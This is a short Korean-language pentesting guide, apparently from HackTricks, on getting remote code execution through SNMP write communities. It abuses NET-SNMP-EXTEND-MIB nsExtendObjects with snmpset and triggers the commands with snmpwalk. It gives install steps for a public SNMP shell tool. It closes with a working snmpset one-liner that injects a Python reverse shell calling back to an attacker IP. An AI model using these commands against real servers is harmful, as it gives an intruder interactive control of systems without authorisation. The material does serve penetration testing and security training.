SNMP RCE

Support HackTricks

SNMP RCE

SNMP는 관리자가 장치나 서버의 기본 구성을 간과할 경우 공격자에 의해 악용될 수 있습니다. **쓰기 권한이 있는 SNMP 커뮤니티(rwcommunity)**를 악용하여 리눅스 운영 체제에서 공격자는 서버에서 명령을 실행할 수 있습니다.

추가 명령으로 서비스 확장

SNMP 서비스를 확장하고 추가 명령을 추가하려면 "nsExtendObjects" 테이블에 새로운 행을 추가할 수 있습니다. 이는 snmpset 명령을 사용하고 실행할 실행 파일의 절대 경로와 실행할 명령을 포함한 필요한 매개변수를 제공함으로써 달성할 수 있습니다:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

명령어 주입 실행

SNMP 서비스에서 실행할 명령어를 주입하려면 호출된 바이너리/스크립트의 존재와 실행 가능성이 필요합니다. **NET-SNMP-EXTEND-MIB**는 실행 파일의 절대 경로를 제공할 것을 요구합니다.

주입된 명령어의 실행을 확인하기 위해 snmpwalk 명령어를 사용하여 SNMP 서비스를 열거할 수 있습니다. 출력은 명령어와 관련 세부정보를 표시하며, 절대 경로를 포함합니다:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

주입된 명령 실행하기

주입된 명령이 읽히면 실행됩니다. 이 동작은 **run-on-read()**로 알려져 있습니다. 명령의 실행은 snmpwalk 읽기 중에 관찰할 수 있습니다.

SNMP로 서버 셸 얻기

서버를 제어하고 서버 셸을 얻기 위해 mxrch가 개발한 파이썬 스크립트를 https://github.com/mxrch/snmp-shell.git에서 사용할 수 있습니다.

또는, SNMP에 특정 명령을 주입하여 수동으로 리버스 셸을 생성할 수 있습니다. 이 명령은 snmpwalk에 의해 트리거되어 공격자의 머신에 리버스 셸 연결을 설정하여 피해자 머신에 대한 제어를 가능하게 합니다. 이를 실행하기 위한 전제 조건을 설치할 수 있습니다:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

또는 리버스 셸:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

References

HackTricks 지원하기

Last updated